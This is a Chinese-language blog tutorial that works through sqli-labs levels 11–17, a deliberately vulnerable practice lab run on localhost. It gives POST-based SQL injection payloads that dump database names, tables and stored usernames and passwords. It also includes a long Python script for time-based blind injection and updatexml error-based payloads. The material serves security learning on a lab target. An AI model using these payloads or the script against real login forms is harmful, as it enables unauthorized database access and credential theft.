SQL注入之sqli-labs(三)

目录

(三)第十一关至第十七关

(1)第十一关

(2)第十二关

(3)第十三关

(4)第十四关

(5)第十五关

(6)第十六关

(7)第十七关

1、补充知识:

2、十七关


(三)第十一关至第十七关

(1)第十一关

首先依旧是先加两行代码,便于学习

然后我们打开less11,分别在username和password处输入admin,提交和结果如下:

蓝色字体提醒我们登陆成功,但是我们发现上面地址栏中没有看到关于username和password相关的参数,说明是post方法提交的,属于post注入漏洞。(这里可以使用burp suite+switchyomega代理抓包,但是我这里出现了一点问题所以改用python爬虫脚本进行,其实知识是一样的,可以自行选择)

这里我们按f12或右键选择检查打开开发者工具,选择 network(网络)

如果下方没有那个less-11,可以刷新一下页面,点击less-11,选择payload

 可以看到有一些参数,且可以在headers里面看到是post方式提交的

 而我们随便打开前十关任意一关都可以用上述方法发现是get方式

 也证实了这关是post注入。

然后我们复制上面payload的参数,打开 hackbar,点击 post data(因为是提交post参数,不能直接在 url 后面加),粘贴到下面的框框中,并稍做修改成为 sql 语句,即将冒号改为等于号,三个参数放在一行且参数之间用 &(与) 来连接,如下

 如果这里execute没反应可能是格式问题,那么可以使用我写的一个爬虫脚本来判断

import requests


def post_url(uname, passwd, str):
    url = 'http://127.0.0.1/sqli-labs-master/Less-11/'
    data = {
        'uname': f"{uname}",
        'passwd': f"{passwd}",
        'submit': "Submit"
    }
    re = requests.post(url, data=data)
    if str in re.text:
        print('登录成功!!!')
    else:
        print('登录失败!!!')


if __name__ == "__main__":
    uname = input('请输入unmae:')
    passwd = input('请输入passwd:')
    str = input('请输入判断语句(如 Your Login):')
    post_url(uname, passwd, str)

之后大致步骤如下

uname=' & passwd=1 & submit=Submit 返回的结果如果显示 sql 语法错误说明存在注入漏洞
uname=admin' or 1=1# & passwd=admin & submit=Submit 登陆成功,uname是恒成立的,这里不能使用--+来注释,因为--+主要使用在url中,#是通用的
uname=admin & passwd=admin' or 1=1# & submit=Submit 登陆成功
uname=admin' order by 3# & passwd=admin & submit=Submit 可以查看字段数,得知一共有两列,也可以在passwd中判断
uname=a' union select 1,(select schema_name from information_schema.schemata limit 0,1)#& passwd=admin & submit=Submit    查询第一个数据库名
uname=a' union select 1,(select group_concat(schema_name) from information_schema.schemata)#& passwd=admin & submit=submit    查所有数据库
uname=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)# & passwd=admin & submit=submit    查表名
uname=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)# & passwd=admin & submit=submit    查字段
uname=a' union select 1,(select group_concat(concat_ws('~',username,password)) from security.users)# & passwd=admin & submit=submit      查数据

第十一关结束

(2)第十二关

把十一关的uname后面的 ' 换成 ") 就可以了

(3)第十三关

post 型盲注,输入admin admin,登陆成功,但是页面上没有回显,判断为post 盲注,这里可以使用时间盲注来判断

import requests


def get_num(URL, uname, passwd, txt):
    for i in range(20):
        username = f"{uname} or if((length(database())={i}),sleep(0.3),1)#"
        data = {
            'uname': f"{username}",
            'passwd': f"{passwd}",
            'submit': "Submit"
        }
        re = requests.post(URL, data=data)
        re_seconds = re.elapsed.total_seconds()
        if re_seconds > 2:
            print(f"数据库长度为{i}")
            break
    get_database(URL, uname, passwd, i, txt)


def get_database(URL, uname, passwd, i, txt):
    db_name = ""
    x = 1
    for i in range(i):
        for j in txt:
            k = db_name + j
            username = f"{uname} or if((left((select database()),{x})='{k}'),sleep(0.3),1)#"
            data = {
                'uname': f"{username}",
                'passwd': f"{passwd}",
                'submit': "Submit"
            }
            re = requests.post(URL, data)
            re_seconds = re.elapsed.total_seconds()
            if re_seconds > 2:
                db_name = db_name + j
                x += 1
                break
    print("数据库名字为", db_name)
    tb_num(URL, uname, passwd, txt, db_name)


def tb_num(URL, uname, passwd, txt, db_name):
    for i in range(1,100):    # 合理猜一下大概有多少个
        username = f"{uname} or if(((select count(table_name) from information_schema.tables where table_schema='{db_name}')={i}),sleep(0.3),1)#"
        data = {
            'uname': f"{username}",
            'passwd': f"{passwd}",
            'submit': "Submit"
        }
        re=requests.post(URL, data=data)
        re_seconds = re.elapsed.total_seconds()
        if re_seconds > 2:
            print(f"数据库{db_name}有", i, "张表")
            tb_name(i, URL, txt, db_name)


def tb_name(i, URL, txt, db_name):
    n = 0
    tb_list = []
    for x in range(i):
        tb_name = ""
        for j in range(1, 20):  # 先判断表名有几位
            username = f"{uname} or if(((select length(table_name) from information_schema.tables where table_schema='{db_name}' limit {n},1)={j}),sleep(0.3),1)#"
            data = {
                'uname': f"{username}",
                'passwd': f"{passwd}",
                'submit': "Submit"
            }
            re = requests.post(URL, data=data)
            re_seconds = re.elapsed.total_seconds()
            if re_seconds > 2:
                tb_length = j
                l = 1
                for p in range(tb_length):  # 再判断表名
                    for k in txt:
                        name = tb_name + k
                        username = f"{uname} or if((select left((select table_name from information_schema.tables where table_schema='{db_name}' limit {n},1),{l})='{name}'),sleep(0.3),1)#"
                        data2 = {
                            'uname': f"{username}",
                            'passwd': f"{passwd}",
                            'submit': "Submit"
                        }
                        re = requests.post(URL, data2)
                        re_seconds = re.elapsed.total_seconds()
                        if re_seconds > 2:
                            tb_name = tb_name + k
                            l += 1
                            break
                n += 1
                print(f"第{n}张表名为:{tb_name}")
                tb_list.append(tb_name)
                break
    column_num(tb_list, URL, txt, db_name, uname, passwd)


def column_num(tb_list, URL, txt, db_name, uname, passwd):
    # 猜测每张表的字段数
    column_num_list = []
    for i in tb_list:
        for j in range(30):
            username = f"{uname} or if(((select count(column_name) from information_schema.columns where table_name='{i}')={j}),sleep(0.3),1)#"
            data = {
                'uname': f"{username}",
                'passwd': f"{passwd}",
                'submit': "Submit"
            }
            re = requests.post(URL, data=data)
            re_seconds = re.elapsed.total_seconds()
            if re_seconds > 2:
                column_num_list.append(j)
                print(f"表{i}的字段数为:{j}")
                column_num_list.append(j)
                break
    column_name(column_num_list, db_name, URL, tb_list, uname, passwd, txt)


def column_name(column_num_list, db_name, URL, tb_list, uname, passwd, txt):
    # 猜测字段名
    cl_name_list = []
    del column_num_list[::2]    # 这里是因为不知道什么原因导致里面的数据重复了一份,如果有大佬知道为什么还望指点一二
    for t in range(len(tb_list)):   # 四张表,循环4次
        x = 0
        for r in range(column_num_list[t]): # 从字段列表中取出字段数并循环相应次数
            for i in range(20):     # 猜测字段名长度,合理即可
                l = 1
                cl_name = ""
                username = f"{uname} or if(((select length(column_name) from information_schema.columns where table_name='{tb_list[t]}' limit {x},1)={i}),sleep(0.3),1)#"
                data = {
                    'uname': f"{username}",
                    'passwd': f"{passwd}",
                    'submit': "Submit"
                }
                re = requests.post(URL, data=data)
                re_seconds = re.elapsed.total_seconds()
                if re_seconds > 2:
                    for k in range(i):
                        for j in txt:
                            name = cl_name+j
                            username = f"{uname} or if((left((select column_name from information_schema.columns where table_name='{tb_list[t]}' limit {x},1),{l})='{name}'),sleep(0.3),1)#"
                            data = {
                                'uname': f"{username}",
                                'passwd': f"{passwd}",
                                'submit': "Submit"
                            }
                            re = requests.post(URL, data=data)
                            re_seconds = re.elapsed.total_seconds()
                            if re_seconds > 2:
                                cl_name += j
                                l += 1
                                break
                    print(f"表{tb_list[t]}字段名有:{cl_name}")
                    x += 1
                    cl_name_list.append(cl_name)
                    break
    get_data(cl_name_list, txt, uname, passwd)


def get_data(cl_name_list, txt, uname, passwd):
    for i in cl_name_list[12:15]:
        for j in range(101):    # 猜测 users 里面 id
            username = f"{uname} or if(((select count({i}) from security.users)={j}),sleep(0.3),1)#"
            data = {
                'uname': f"{username}",
                'passwd': f"{passwd}",
                'submit': "Submit"
            }
            re = requests.post(URL, data=data)
            re_seconds = re.elapsed.total_seconds()
            if re_seconds > 2:
                data_num = j
                break
        for k in range(data_num):
            dump_data = ''
            for l in range(1, 21):  # l表示每条数据的长度,合理范围即可
                username = f"{uname} or if((select ascii(substr((select {i} from security.users limit {k},1),{l},1))>1),sleep(0.3),1)#"
                data = {
                    'uname': f"{username}",
                    'passwd': f"{passwd}",
                    'submit': "Submit"
                }
                re = requests.post(URL, data=data)
                re_seconds = re.elapsed.total_seconds()
                if re_seconds < 2:
                    data_len = l - 1
                    for x in range(1, data_len + 1):  # x表示每条数据的实际范围,作为mid截取的范围
                        for y in txt:
                            name = dump_data+y
                            username = f"{uname} or if((left((select {i} from security.users limit {k},1),{x})='{name}'),sleep(0.3),1)#"
                            data = {
                                'uname': f"{username}",
                                'passwd': f"{passwd}",
                                'submit': "Submit"
                            }
                            re = requests.post(URL, data=data)
                            re_seconds = re.elapsed.total_seconds()
                            if re_seconds > 2:
                                dump_data += y
                                break
                    print(f"{i}里面的数据有:{dump_data}")
                    break


if __name__ == "__main__":
    URL = 'http://127.0.0.1/sqli-labs-master/Less-13/'
    uname = input('uname=')
    passwd = input('passwd=')
    txt="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_@"
    get_num(URL, uname, passwd, txt)

这个脚本时我自己写的一个爬虫,但是运行的时间有点长,希望精通这方面的大佬能够指点一二,也可以使用 burp suite+sqlmap 进行。

(4)第十四关

十四关和十三关一样的盲注,只是注入时 ') 换成了 "

(5)第十五关

和十三关一样的盲注,') --> '

(6)第十六关

') --> ")

(7)第十七关

1、补充知识:

UPDATEXML(XML document,XPath string,new value);
第一个参数:是 string 格式,为 XML 文档对象名称
第二个参数:XPath 格式的字符串
第三个参数:string格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变 XML_document 中符合 XPath_string 的值
注入语句为
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中concat()函数是将其连成一个字符串,因此不会符合XPath_string的格式,从而出现格式错误,从而爆出
XPATH syntax error: '~Dumb~'

2、十七关

首先我们进入到 less-17目录下面的php文件,进行一些修改,有利与我们进行注入判断

 加上这两句话,然后我们打开less-17,输入 admin admin

发现他的回显和之前不一样,简单翻译一下就是成功更新了你的密码,输入admin hhh同样显示成功,但是如果username输入错误,则会返回失败。

首先我们拿到post参数,不管是burp suite抓包,还是在f12 -- network -- less-17 -- payload下面都可以拿到post 参数(如果network下面没有就刷新一下),打开hackbar,将参数输入

 之后我们尝试着在uname处注入

但是发现在转译的时候出现了 \ 符号,所以尝试在passwd处注入,发现注入成功。

接下来就是构造语句了,

uname=admin & passwd=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1)# & submit=Submit 查表名

uname=admin & passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)# & submit=Submit 查字段名

uname=admin & passwd=a' and updatexml(2,concat(0x7e,(select * from (select concat_ws(0x7e,username,password) from security.users limit 0,1) a ),0x7e),2)# & submit=Submit 改变limit值可以取出所有数据

 一些可能出现的错误:

1、回显为 Trucated incorrect DOUBLE value:

这个原因的话是 mysql 版本的问题,换成 5.1就行,注意换完后 设置/重置实验室数据库 哦

2、回显为 you can't specify target table 'users' for update in from clause

大致翻译为:不能先select出同一表中的某些值,再update这个表 (在同一语句中)

解决思路:将select出的结果作为派生表在查一次,据说只会在 MySQL 中出现
select * from (select group_concat(concat_ws('~',username,password)) from security.users) a

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

清丶酒孤欢ゞ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值